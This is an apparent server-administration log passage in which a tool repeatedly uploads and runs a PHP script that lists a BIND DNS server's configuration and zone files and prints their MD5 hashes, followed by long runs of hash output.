MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-15 17:27:04: Establishing a connection
2026-05-15 17:27:05: 

PUT: /tmp/pkp634572

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-15 17:27:05: 

runuser -l bind -s /bin/bash -c '/tmp/pkp634572; rm /tmp/pkp634572'

2026-05-15 17:27:05: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-15 17:32:05: Establishing a connection
2026-05-15 17:32:05: 

PUT: /tmp/pkp368864

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-15 17:32:06: 

runuser -l bind -s /bin/bash -c '/tmp/pkp368864; rm /tmp/pkp368864'

2026-05-15 17:32:06: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
